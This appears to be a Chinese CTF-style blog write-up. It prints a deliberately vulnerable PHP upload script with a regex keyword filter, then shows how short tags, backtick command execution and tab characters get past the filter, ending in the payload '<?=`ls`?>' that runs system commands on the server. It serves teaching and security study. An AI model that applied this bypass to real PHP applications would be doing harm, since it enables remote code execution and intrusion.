php反引号与短标签脚本示例

 更新时间:2022年04月11日 16:28:35   作者:-栀蓝-  
这篇文章主要为大家介绍了php反引号与短标签的脚本示例解析,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步早日升职加薪
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}
function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

代码审查,参数action控制两个模式,当action=upload的时候会将参数data的值进行过滤并且作为file_put_contents的第三个参数,可以试试输入123的时候是个什么效果,我查资料发现这个函数的第三个参数具体用法是啥我也不知道

当action=pwd的时候,他会输出目录给我们。

一开始两个问号是个啥我也不晓得,查了一下

??是php7新推出来的表达式,有利于简便三元运算符

例:
$example=$_GET['web']??0;
相当于
$example=$_GET['web']?$_GET['web']:0; 

意思就是如果web参数如果存在则返回本身,否则返回0

function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}
function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

可以发现这是对data参数的过滤防护,过滤了php,eval,花括号等,其实这些过滤内容有点提示我们要用php标签,但是php,eval,空格这些都被过滤掉了,这时候就有新东西学习了

反引号执行系统命令,以及php短标签

PHP: 执行运算符 - Manual就像如果我们要执行ls命令,通常我们都是system('ls');但是有了反引号,我们直接`ls`即可执行,是不是方便多了,但是要开一个默认选项(默认都是打开的),并且不能在双引号字符中使用

php中的短标签  https://www.jb51.net/article/112327.htm

<?$a?>相当于<?php?>
<?=$a?>相当于<?php echo $a?>还省略了eval需要的分号

因此我们思路就是,当切换在upload模式的时候,我们可以控制data参数传入php表达式看看效果,然后切换到pwd模式获取路径进入到下面去看看

成功回显1234,有点渲染那味了

构造action=upload&data=<?=`ls`?>,因为空格被过滤了,我们可以利用水平制符\t来代替空格

继续执行命令即可 

以上就是php反引号与短标签脚本示例的详细内容,更多关于php反引号与短标签脚本的资料请关注脚本之家其它相关文章!

相关文章

  • 在Yii2特定页面如何禁用调试工具栏Debug Toolbar详解

    在Yii2特定页面如何禁用调试工具栏Debug Toolbar详解

    这篇文章主要给大家介绍了关于在Yii2特定页面如何禁用调试工具栏Debug Toolbar的相关资料,文中通过详细的示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面来一起看看吧。
    2017-08-08
  • PHP仿博客园 个人博客(2) 数据库增添改删

    PHP仿博客园 个人博客(2) 数据库增添改删

    先谢谢大家的鼓励与支持,这是第2篇了。也是这个博客系统最核心的东西。这个博客写完后,我会把它放在我的博客网站。这里也有我的一个简历
    2013-07-07
  • 简单谈谈PHP的垃圾回收机制

    简单谈谈PHP的垃圾回收机制

    这篇文章主要介绍了简单谈谈PHP的垃圾回收机制的相关资料,需要的朋友可以参考下
    2018-03-03
  • Yii框架弹出框功能示例

    Yii框架弹出框功能示例

    这篇文章主要介绍了Yii框架弹出框功能,结合实例形式分析了Yii框架弹出框的实现技巧,需要的朋友可以参考下
    2017-01-01
  • php提示Call-time pass-by-reference has been deprecated in的解决方法[已测]

    php提示Call-time pass-by-reference has been deprecated in的解决方法

    今天一个客户配置服务器的时候出现了这个问题,主要是因为他选错php.ini的问题,默认先dist那个比较好,实际应用就选择这个
    2012-05-05
  • CI框架(CodeIgniter)实现的数据库增删改查操作总结

    CI框架(CodeIgniter)实现的数据库增删改查操作总结

    这篇文章主要介绍了CI框架(CodeIgniter)实现的数据库增删改查操作,结合实例形式总结分析了CI框架针对mysql数据库增删改查操作的模型、控制器及视图相关定义与使用技巧,需要的朋友可以参考下
    2018-05-05
  • CodeIgniter记录错误日志的方法全面总结

    CodeIgniter记录错误日志的方法全面总结

    这篇文章主要介绍了CodeIgniter记录错误日志的方法,详细分析了CodeIgniter框架的文件结构与相应的功能,结合实例分析了CodeIgniter框架记录错误日志的实现技巧,并分析了隐藏index文件与数据传输等技巧,总结非常全面,需要的朋友可以参考下
    2016-05-05
  • DWZ+ThinkPHP开发时遇到的问题分析

    DWZ+ThinkPHP开发时遇到的问题分析

    这篇文章主要介绍了DWZ+ThinkPHP开发时遇到的问题,结合实例形式分析了DWZ+ThinkPHP在ajax调用中出现错误问题的解决方法,需要的朋友可以参考下
    2016-12-12
  • 基于PHP常用函数的用法详解

    基于PHP常用函数的用法详解

    本篇文章对PHP中的一些常用函数的用法进行了详细的分析介绍。需要的朋友参考下
    2013-05-05
  • PHP处理二进制数据的实现方法

    PHP处理二进制数据的实现方法

    下面小编就为大家带来一篇PHP处理二进制数据的实现方法。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2016-06-06

最新评论